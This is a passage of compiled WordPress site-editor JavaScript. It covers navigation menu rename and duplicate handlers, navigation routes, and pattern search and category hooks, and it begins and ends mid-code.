createSuccessNotice,
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const handleSave = async (navigationMenu, edits) => {
if (!edits) {
return;
}
const postId = navigationMenu?.id;
// Prepare for revert in case of error.
const originalRecord = getEditedEntityRecord('postType', NAVIGATION_POST_TYPE, postId);
// Apply the edits.
editEntityRecord('postType', postType, postId, edits);
const recordPropertiesToSave = Object.keys(edits);
// Attempt to persist.
try {
await saveSpecifiedEntityEdits('postType', postType, postId, recordPropertiesToSave, {
throwOnError: true
});
createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Renamed Navigation Menu'), {
type: 'snackbar'
});
} catch (error) {
// Revert to original in case of error.
editEntityRecord('postType', postType, postId, originalRecord);
createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message describing why the navigation menu could not be renamed. */
(0,external_wp_i18n_namespaceObject.__)(`Unable to rename Navigation Menu (%s).`), error?.message), {
type: 'snackbar'
});
}
};
return handleSave;
}
function useDuplicateNavigationMenu() {
const history = use_navigation_menu_handlers_useHistory();
const {
saveEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
createSuccessNotice,
createErrorNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const handleDuplicate = async navigationMenu => {
const menuTitle = navigationMenu?.title?.rendered || navigationMenu?.slug;
try {
const savedRecord = await saveEntityRecord('postType', postType, {
title: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Navigation menu title */
(0,external_wp_i18n_namespaceObject._x)('%s (Copy)', 'navigation menu'), menuTitle),
content: navigationMenu?.content?.raw,
status: 'publish'
}, {
throwOnError: true
});
if (savedRecord) {
createSuccessNotice((0,external_wp_i18n_namespaceObject.__)('Duplicated Navigation Menu'), {
type: 'snackbar'
});
history.navigate(`/wp_navigation/${savedRecord.id}`);
}
} catch (error) {
createErrorNotice((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: error message describing why the navigation menu could not be deleted. */
(0,external_wp_i18n_namespaceObject.__)(`Unable to duplicate Navigation Menu (%s).`), error?.message), {
type: 'snackbar'
});
}
};
return handleDuplicate;
}
function useNavigationMenuHandlers() {
return {
handleDelete: useDeleteNavigationMenu(),
handleSave: useSaveNavigationMenu(),
handleDuplicate: useDuplicateNavigationMenu()
};
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-navigation-menus/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
// Copied from packages/block-library/src/navigation/edit/navigation-menu-selector.js.
function buildMenuLabel(title, id, status) {
if (!title) {
/* translators: %s: the index of the menu in the list of menus. */
return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('(no title %s)'), id);
}
if (status === 'publish') {
return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title);
}
return (0,external_wp_i18n_namespaceObject.sprintf)(
// translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
(0,external_wp_i18n_namespaceObject._x)('%1$s (%2$s)', 'menu label'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title), status);
}
function SidebarNavigationScreenNavigationMenus({
backPath
}) {
const {
records: navigationMenus,
isResolving: isResolvingNavigationMenus,
hasResolved: hasResolvedNavigationMenus
} = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', NAVIGATION_POST_TYPE, PRELOADED_NAVIGATION_MENUS_QUERY);
const isLoading = isResolvingNavigationMenus && !hasResolvedNavigationMenus;
const {
getNavigationFallbackId
} = unlock((0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store));
const isCreatingNavigationFallback = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).isResolving('getNavigationFallbackId'), []);
const firstNavigationMenu = navigationMenus?.[0];
// If there is no navigation menu found
// then trigger fallback algorithm to create one.
if (!firstNavigationMenu && !isResolvingNavigationMenus && hasResolvedNavigationMenus &&
// Ensure a fallback navigation is created only once
!isCreatingNavigationFallback) {
getNavigationFallbackId();
}
const {
handleSave,
handleDelete,
handleDuplicate
} = useNavigationMenuHandlers();
const hasNavigationMenus = !!navigationMenus?.length;
if (isLoading) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
backPath: backPath,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {
className: "edit-site-sidebar-navigation-screen-navigation-menus__loading"
})
});
}
if (!isLoading && !hasNavigationMenus) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
description: (0,external_wp_i18n_namespaceObject.__)('No Navigation Menus found.'),
backPath: backPath
});
}
// if single menu then render it
if (navigationMenus?.length === 1) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SingleNavigationMenu, {
navigationMenu: firstNavigationMenu,
backPath: backPath,
handleDelete: () => handleDelete(firstNavigationMenu),
handleDuplicate: () => handleDuplicate(firstNavigationMenu),
handleSave: edits => handleSave(firstNavigationMenu, edits)
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenWrapper, {
backPath: backPath,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-navigation-screen-navigation-menus",
children: navigationMenus?.map(({
id,
title,
status
}, index) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(NavMenuItem, {
postId: id,
withChevron: true,
icon: library_navigation,
children: buildMenuLabel(title?.rendered, index + 1, status)
}, id))
})
});
}
function SidebarNavigationScreenWrapper({
children,
actions,
title,
description,
backPath
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
title: title || (0,external_wp_i18n_namespaceObject.__)('Navigation'),
actions: actions,
description: description || (0,external_wp_i18n_namespaceObject.__)('Manage your Navigation Menus.'),
backPath: backPath,
content: children
});
}
const NavMenuItem = ({
postId,
...props
}) => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
to: `/wp_navigation/${postId}`,
...props
});
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/navigation.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: navigation_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobileNavigationView() {
const {
query = {}
} = navigation_useLocation();
const {
canvas = 'view'
} = query;
return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenus, {
backPath: "/"
});
}
const navigationRoute = {
name: 'navigation',
path: '/navigation',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenus, {
backPath: "/"
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
preview({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : undefined;
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileNavigationView, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
}
}
};
;// ./node_modules/@wordpress/edit-site/build-module/components/site-editor-routes/navigation-item.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: navigation_item_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function MobileNavigationItemView() {
const {
query = {}
} = navigation_item_useLocation();
const {
canvas = 'view'
} = query;
return canvas === 'edit' ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenu, {
backPath: "/navigation"
});
}
const navigationItemRoute = {
name: 'navigation-item',
path: '/wp_navigation/:postId',
areas: {
sidebar({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenNavigationMenu, {
backPath: "/navigation"
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
preview({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(EditSiteEditor, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
},
mobile({
siteData
}) {
const isBlockTheme = siteData.currentTheme?.is_block_theme;
return isBlockTheme ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MobileNavigationItemView, {}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreenUnsupported, {});
}
}
};
;// ./node_modules/@wordpress/icons/build-module/library/file.js
/**
* WordPress dependencies
*/
const file = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
viewBox: "0 0 24 24",
xmlns: "http://www.w3.org/2000/svg",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M12.848 8a1 1 0 0 1-.914-.594l-.723-1.63a.5.5 0 0 0-.447-.276H5a.5.5 0 0 0-.5.5v11.5a.5.5 0 0 0 .5.5h14a.5.5 0 0 0 .5-.5v-9A.5.5 0 0 0 19 8h-6.152Zm.612-1.5a.5.5 0 0 1-.462-.31l-.445-1.084A2 2 0 0 0 10.763 4H5a2 2 0 0 0-2 2v11.5a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2v-9a2 2 0 0 0-2-2h-5.54Z"
})
});
/* harmony default export */ const library_file = (file);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/category-item.js
/**
* Internal dependencies
*/
function CategoryItem({
count,
icon,
id,
isActive,
label,
type
}) {
if (!count) {
return;
}
const queryArgs = [`postType=${type}`];
if (id) {
queryArgs.push(`categoryId=${id}`);
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
icon: icon,
suffix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
children: count
}),
"aria-current": isActive ? 'true' : undefined,
to: `/pattern?${queryArgs.join('&')}`,
children: label
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-default-pattern-categories.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function useDefaultPatternCategories() {
const blockPatternCategories = (0,external_wp_data_namespaceObject.useSelect)(select => {
var _settings$__experimen;
const {
getSettings
} = unlock(select(store));
const settings = getSettings();
return (_settings$__experimen = settings.__experimentalAdditionalBlockPatternCategories) !== null && _settings$__experimen !== void 0 ? _settings$__experimen : settings.__experimentalBlockPatternCategories;
});
const restBlockPatternCategories = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getBlockPatternCategories());
return [...(blockPatternCategories || []), ...(restBlockPatternCategories || [])];
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/utils.js
const filterOutDuplicatesByName = (currentItem, index, items) => index === items.findIndex(item => currentItem.name === item.name);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-theme-patterns.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function useThemePatterns() {
const blockPatterns = (0,external_wp_data_namespaceObject.useSelect)(select => {
var _getSettings$__experi;
const {
getSettings
} = unlock(select(store));
return (_getSettings$__experi = getSettings().__experimentalAdditionalBlockPatterns) !== null && _getSettings$__experi !== void 0 ? _getSettings$__experi : getSettings().__experimentalBlockPatterns;
});
const restBlockPatterns = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getBlockPatterns());
const patterns = (0,external_wp_element_namespaceObject.useMemo)(() => [...(blockPatterns || []), ...(restBlockPatterns || [])].filter(pattern => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)).filter(filterOutDuplicatesByName).filter(pattern => pattern.inserter !== false), [blockPatterns, restBlockPatterns]);
return patterns;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/search-items.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
extractWords,
getNormalizedSearchTerms,
normalizeString
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
/**
* Internal dependencies
*/
// Default search helpers.
const defaultGetName = item => {
if (item.type === PATTERN_TYPES.user) {
return item.slug;
}
if (item.type === TEMPLATE_PART_POST_TYPE) {
return '';
}
return item.name || '';
};
const defaultGetTitle = item => {
if (typeof item.title === 'string') {
return item.title;
}
if (item.title && item.title.rendered) {
return item.title.rendered;
}
if (item.title && item.title.raw) {
return item.title.raw;
}
return '';
};
const defaultGetDescription = item => {
if (item.type === PATTERN_TYPES.user) {
return item.excerpt.raw;
}
return item.description || '';
};
const defaultGetKeywords = item => item.keywords || [];
const defaultHasCategory = () => false;
const removeMatchingTerms = (unmatchedTerms, unprocessedTerms) => {
return unmatchedTerms.filter(term => !getNormalizedSearchTerms(unprocessedTerms).some(unprocessedTerm => unprocessedTerm.includes(term)));
};
/**
* Filters an item list given a search term.
*
* @param {Array} items Item list
* @param {string} searchInput Search input.
* @param {Object} config Search Config.
*
* @return {Array} Filtered item list.
*/
const searchItems = (items = [], searchInput = '', config = {}) => {
const normalizedSearchTerms = getNormalizedSearchTerms(searchInput);
// Filter patterns by category: the default category indicates that all patterns will be shown.
const onlyFilterByCategory = config.categoryId !== PATTERN_DEFAULT_CATEGORY && !normalizedSearchTerms.length;
const searchRankConfig = {
...config,
onlyFilterByCategory
};
// If we aren't filtering on search terms, matching on category is satisfactory.
// If we are, then we need more than a category match.
const threshold = onlyFilterByCategory ? 0 : 1;
const rankedItems = items.map(item => {
return [item, getItemSearchRank(item, searchInput, searchRankConfig)];
}).filter(([, rank]) => rank > threshold);
// If we didn't have terms to search on, there's no point sorting.
if (normalizedSearchTerms.length === 0) {
return rankedItems.map(([item]) => item);
}
rankedItems.sort(([, rank1], [, rank2]) => rank2 - rank1);
return rankedItems.map(([item]) => item);
};
/**
* Get the search rank for a given item and a specific search term.
* The better the match, the higher the rank.
* If the rank equals 0, it should be excluded from the results.
*
* @param {Object} item Item to filter.
* @param {string} searchTerm Search term.
* @param {Object} config Search Config.
*
* @return {number} Search Rank.
*/
function getItemSearchRank(item, searchTerm, config) {
const {
categoryId,
getName = defaultGetName,
getTitle = defaultGetTitle,
getDescription = defaultGetDescription,
getKeywords = defaultGetKeywords,
hasCategory = defaultHasCategory,
onlyFilterByCategory
} = config;
let rank = categoryId === PATTERN_DEFAULT_CATEGORY || categoryId === TEMPLATE_PART_ALL_AREAS_CATEGORY || categoryId === PATTERN_USER_CATEGORY && item.type === PATTERN_TYPES.user || hasCategory(item, categoryId) ? 1 : 0;
// If an item doesn't belong to the current category or we don't have
// search terms to filter by, return the initial rank value.
if (!rank || onlyFilterByCategory) {
return rank;
}
const name = getName(item);
const title = getTitle(item);
const description = getDescription(item);
const keywords = getKeywords(item);
const normalizedSearchInput = normalizeString(searchTerm);
const normalizedTitle = normalizeString(title);
// Prefers exact matches
// Then prefers if the beginning of the title matches the search term
// name, keywords, description matches come later.
if (normalizedSearchInput === normalizedTitle) {
rank += 30;
} else if (normalizedTitle.startsWith(normalizedSearchInput)) {
rank += 20;
} else {
const terms = [name, title, description, ...keywords].join(' ');
const normalizedSearchTerms = extractWords(normalizedSearchInput);
const unmatchedTerms = removeMatchingTerms(normalizedSearchTerms, terms);
if (unmatchedTerms.length === 0) {
rank += 10;
}
}
return rank;
}
;// ./node_modules/@wordpress/edit-site/build-module/components/page-patterns/use-patterns.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const EMPTY_PATTERN_LIST = [];
const selectTemplateParts = (0,external_wp_data_namespaceObject.createSelector)((select, categoryId, search = '') => {
var _getEntityRecords;
const {
getEntityRecords,
getCurrentTheme,
isResolving: isResolvingSelector
} = select(external_wp_coreData_namespaceObject.store);
const query = {
per_page: -1
};
const templateParts = (_getEntityRecords = getEntityRecords('postType', TEMPLATE_PART_POST_TYPE, query)) !== null && _getEntityRecords !== void 0 ? _getEntityRecords : EMPTY_PATTERN_LIST;
// In the case where a custom template part area has been removed we need
// the current list of areas to cross check against so orphaned template
// parts can be treated as uncategorized.
const knownAreas = getCurrentTheme()?.default_template_part_areas || [];
const templatePartAreas = knownAreas.map(area => area.area);
const templatePartHasCategory = (item, category) => {
if (category !== TEMPLATE_PART_AREA_DEFAULT_CATEGORY) {
return item.area === category;
}
return item.area === category || !templatePartAreas.includes(item.area);
};
const isResolving = isResolvingSelector('getEntityRecords', ['postType', TEMPLATE_PART_POST_TYPE, query]);
const patterns = searchItems(templateParts, search, {
categoryId,
hasCategory: templatePartHasCategory
});
return {
patterns,
isResolving
};
}, select => [select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', TEMPLATE_PART_POST_TYPE, {
per_page: -1
}), select(external_wp_coreData_namespaceObject.store).isResolving('getEntityRecords', ['postType', TEMPLATE_PART_POST_TYPE, {
per_page: -1
}]), select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas]);
const selectThemePatterns = (0,external_wp_data_namespaceObject.createSelector)(select => {
var _settings$__experimen;
const {
getSettings
} = unlock(select(store));
const {
isResolving: isResolvingSelector
} = select(external_wp_coreData_namespaceObject.store);
const settings = getSettings();
const blockPatterns = (_settings$__experimen = settings.__experimentalAdditionalBlockPatterns) !== null && _settings$__experimen !== void 0 ? _settings$__experimen : settings.__experimentalBlockPatterns;
const restBlockPatterns = select(external_wp_coreData_namespaceObject.store).getBlockPatterns();
const patterns = [...(blockPatterns || []), ...(restBlockPatterns || [])].filter(pattern => !EXCLUDED_PATTERN_SOURCES.includes(pattern.source)).filter(filterOutDuplicatesByName).filter(pattern => pattern.inserter !== false).map(pattern => ({
...pattern,
keywords: pattern.keywords || [],
type: PATTERN_TYPES.theme,
blocks: (0,external_wp_blocks_namespaceObject.parse)(pattern.content, {
__unstableSkipMigrationLogs: true
})
}));
return {
patterns,
isResolving: isResolvingSelector('getBlockPatterns')
};
}, select => [select(external_wp_coreData_namespaceObject.store).getBlockPatterns(), select(external_wp_coreData_namespaceObject.store).isResolving('getBlockPatterns'), unlock(select(store)).getSettings()]);
const selectPatterns = (0,external_wp_data_namespaceObject.createSelector)((select, categoryId, syncStatus, search = '') => {
const {
patterns: themePatterns,
isResolving: isResolvingThemePatterns
} = selectThemePatterns(select);
const {
patterns: userPatterns,
isResolving: isResolvingUserPatterns,
categories: userPatternCategories
} = selectUserPatterns(select);
let patterns = [...(themePatterns || []), ...(userPatterns || [])];
if (syncStatus) {
// User patterns can have their sync statuses checked directly
// Non-user patterns are all unsynced for the time being.
patterns = patterns.filter(pattern => {
return pattern.type === PATTERN_TYPES.user ? (pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full) === syncStatus : syncStatus === PATTERN_SYNC_TYPES.unsynced;
});
}
if (categoryId) {
patterns = searchItems(patterns, search, {
categoryId,
hasCategory: (item, currentCategory) => {
if (item.type === PATTERN_TYPES.user) {
return item.wp_pattern_category?.some(catId => userPatternCategories.find(cat => cat.id === catId)?.slug === currentCategory);
}
return item.categories?.includes(currentCategory);
}
});
} else {
patterns = searchItems(patterns, search, {
hasCategory: item => {
if (item.type === PATTERN_TYPES.user) {
return userPatternCategories?.length && (!item.wp_pattern_category?.length || !item.wp_pattern_category?.some(catId => userPatternCategories.find(cat => cat.id === catId)));
}
return !item.hasOwnProperty('categories');
}
});
}
return {
patterns,
isResolving: isResolvingThemePatterns || isResolvingUserPatterns
};
}, select => [selectThemePatterns(select), selectUserPatterns(select)]);
const selectUserPatterns = (0,external_wp_data_namespaceObject.createSelector)((select, syncStatus, search = '') => {
const {
getEntityRecords,
isResolving: isResolvingSelector,
getUserPatternCategories
} = select(external_wp_coreData_namespaceObject.store);
const query = {
per_page: -1
};
const patternPosts = getEntityRecords('postType', PATTERN_TYPES.user, query);
const userPatternCategories = getUserPatternCategories();
const categories = new Map();
userPatternCategories.forEach(userCategory => categories.set(userCategory.id, userCategory));
let patterns = patternPosts !== null && patternPosts !== void 0 ? patternPosts : EMPTY_PATTERN_LIST;
const isResolving = isResolvingSelector('getEntityRecords', ['postType', PATTERN_TYPES.user, query]);
if (syncStatus) {
patterns = patterns.filter(pattern => pattern.wp_pattern_sync_status || PATTERN_SYNC_TYPES.full === syncStatus);
}
patterns = searchItems(patterns, search, {
// We exit user pattern retrieval early if we aren't in the
// catch-all category for user created patterns, so it has
// to be in the category.
hasCategory: () => true
});
return {
patterns,
isResolving,
categories: userPatternCategories
};
}, select => [select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', PATTERN_TYPES.user, {
per_page: -1
}), select(external_wp_coreData_namespaceObject.store).isResolving('getEntityRecords', ['postType', PATTERN_TYPES.user, {
per_page: -1
}]), select(external_wp_coreData_namespaceObject.store).getUserPatternCategories()]);
function useAugmentPatternsWithPermissions(patterns) {
const idsAndTypes = (0,external_wp_element_namespaceObject.useMemo)(() => {
var _patterns$filter$map;
return (_patterns$filter$map = patterns?.filter(record => record.type !== PATTERN_TYPES.theme).map(record => [record.type, record.id])) !== null && _patterns$filter$map !== void 0 ? _patterns$filter$map : [];
}, [patterns]);
const permissions = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecordPermissions
} = unlock(select(external_wp_coreData_namespaceObject.store));
return idsAndTypes.reduce((acc, [type, id]) => {
acc[id] = getEntityRecordPermissions('postType', type, id);
return acc;
}, {});
}, [idsAndTypes]);
return (0,external_wp_element_namespaceObject.useMemo)(() => {
var _patterns$map;
return (_patterns$map = patterns?.map(record => {
var _permissions$record$i;
return {
...record,
permissions: (_permissions$record$i = permissions?.[record.id]) !== null && _permissions$record$i !== void 0 ? _permissions$record$i : {}
};
})) !== null && _patterns$map !== void 0 ? _patterns$map : [];
}, [patterns, permissions]);
}
const usePatterns = (postType, categoryId, {
search = '',
syncStatus
} = {}) => {
return (0,external_wp_data_namespaceObject.useSelect)(select => {
if (postType === TEMPLATE_PART_POST_TYPE) {
return selectTemplateParts(select, categoryId, search);
} else if (postType === PATTERN_TYPES.user && !!categoryId) {
const appliedCategory = categoryId === 'uncategorized' ? '' : categoryId;
return selectPatterns(select, appliedCategory, syncStatus, search);
} else if (postType === PATTERN_TYPES.user) {
return selectUserPatterns(select, syncStatus, search);
}
return {
patterns: EMPTY_PATTERN_LIST,
isResolving: false
};
}, [categoryId, postType, search, syncStatus]);
};
/* harmony default export */ const use_patterns = (usePatterns);
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-pattern-categories.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function usePatternCategories() {
const defaultCategories = useDefaultPatternCategories();
defaultCategories.push({
name: TEMPLATE_PART_AREA_DEFAULT_CATEGORY,
label: (0,external_wp_i18n_namespaceObject.__)('Uncategorized')
});
const themePatterns = useThemePatterns();
const {
patterns: userPatterns,
categories: userPatternCategories
} = use_patterns(PATTERN_TYPES.user);
const patternCategories = (0,external_wp_element_namespaceObject.useMemo)(() => {
const categoryMap = {};
const categoriesWithCounts = [];
// Create a map for easier counting of patterns in categories.
defaultCategories.forEach(category => {
if (!categoryMap[category.name]) {
categoryMap[category.name] = {
...category,
count: 0
};
}
});
userPatternCategories.forEach(category => {
if (!categoryMap[category.name]) {
categoryMap[category.name] = {
...category,
count: 0
};
}
});
// Update the category counts to reflect theme registered patterns.
themePatterns.forEach(pattern => {
pattern.categories?.forEach(category => {
if (categoryMap[category]) {
categoryMap[category].count += 1;
}
});
// If the pattern has no categories, add it to uncategorized.
if (!pattern.categories?.length) {
categoryMap.uncategorized.count += 1;
}
});
// Update the category counts to reflect user registered patterns.
userPatterns.forEach(pattern => {
pattern.wp_pattern_category?.forEach(catId => {
const category = userPatternCategories.find(cat => cat.id === catId)?.name;
if (categoryMap[category]) {
categoryMap[category].count += 1;
}
});
// If the pattern has no categories, add it to uncategorized.
if (!pattern.wp_pattern_category?.length || !pattern.wp_pattern_category?.some(catId => userPatternCategories.find(cat => cat.id === catId))) {
categoryMap.uncategorized.count += 1;
}
});
// Filter categories so we only have those containing patterns.
[...defaultCategories, ...userPatternCategories].forEach(category => {
if (categoryMap[category.name].count && !categoriesWithCounts.find(cat => cat.name === category.name)) {
categoriesWithCounts.push(categoryMap[category.name]);
}
});
const sortedCategories = categoriesWithCounts.sort((a, b) => a.label.localeCompare(b.label));
sortedCategories.unshift({
name: PATTERN_USER_CATEGORY,
label: (0,external_wp_i18n_namespaceObject.__)('My patterns'),
count: userPatterns.length
});
sortedCategories.unshift({
name: PATTERN_DEFAULT_CATEGORY,
label: (0,external_wp_i18n_namespaceObject.__)('All patterns'),
description: (0,external_wp_i18n_namespaceObject.__)('A list of all patterns from all sources.'),
count: themePatterns.length + userPatterns.length
});
return sortedCategories;
}, [defaultCategories, themePatterns, userPatternCategories, userPatterns]);
return {
patternCategories,
hasPatterns: !!patternCategories.length
};
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/use-template-part-areas.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const useTemplatePartsGroupedByArea = items => {
const allItems = items || [];
const templatePartAreas = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getCurrentTheme()?.default_template_part_areas || [], []);
// Create map of template areas ensuring that default areas are displayed before
// any custom registered template part areas.
const knownAreas = {
header: {},
footer: {},
sidebar: {},
uncategorized: {}
};
templatePartAreas.forEach(templatePartArea => knownAreas[templatePartArea.area] = {
...templatePartArea,
templateParts: []
});
const groupedByArea = allItems.reduce((accumulator, item) => {
const key = accumulator[item.area] ? item.area : TEMPLATE_PART_AREA_DEFAULT_CATEGORY;
accumulator[key]?.templateParts?.push(item);
return accumulator;
}, knownAreas);
return groupedByArea;
};
function useTemplatePartAreas() {
const {
records: templateParts,
isResolving: isLoading
} = (0,external_wp_coreData_namespaceObject.useEntityRecords)('postType', TEMPLATE_PART_POST_TYPE, {
per_page: -1
});
return {
hasTemplateParts: templateParts ? !!templateParts.length : false,
isLoading,
templatePartAreas: useTemplatePartsGroupedByArea(templateParts)
};
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-navigation-screen-patterns/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: sidebar_navigation_screen_patterns_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function CategoriesGroup({
templatePartAreas,
patternCategories,
currentCategory,
currentType
}) {
const [allPatterns, ...otherPatterns] = patternCategories;
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-navigation-screen-patterns__group",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
count: Object.values(templatePartAreas).map(({
templateParts
}) => templateParts?.length || 0).reduce((acc, val) => acc + val, 0),
icon: (0,external_wp_editor_namespaceObject.getTemplatePartIcon)() /* no name, so it provides the fallback icon */,
label: (0,external_wp_i18n_namespaceObject.__)('All template parts'),
id: TEMPLATE_PART_ALL_AREAS_CATEGORY,
type: TEMPLATE_PART_POST_TYPE,
isActive: currentCategory === TEMPLATE_PART_ALL_AREAS_CATEGORY && currentType === TEMPLATE_PART_POST_TYPE
}, "all"), Object.entries(templatePartAreas).map(([area, {
label,
templateParts
}]) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
count: templateParts?.length,
icon: (0,external_wp_editor_namespaceObject.getTemplatePartIcon)(area),
label: label,
id: area,
type: TEMPLATE_PART_POST_TYPE,
isActive: currentCategory === area && currentType === TEMPLATE_PART_POST_TYPE
}, area)), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar-navigation-screen-patterns__divider"
}), allPatterns && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
count: allPatterns.count,
label: allPatterns.label,
icon: library_file,
id: allPatterns.name,
type: PATTERN_TYPES.user,
isActive: currentCategory === `${allPatterns.name}` && currentType === PATTERN_TYPES.user
}, allPatterns.name), otherPatterns.map(category => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
count: category.count,
label: category.label,
icon: library_file,
id: category.name,
type: PATTERN_TYPES.user,
isActive: currentCategory === `${category.name}` && currentType === PATTERN_TYPES.user
}, category.name))]
});
}
function SidebarNavigationScreenPatterns({
backPath
}) {
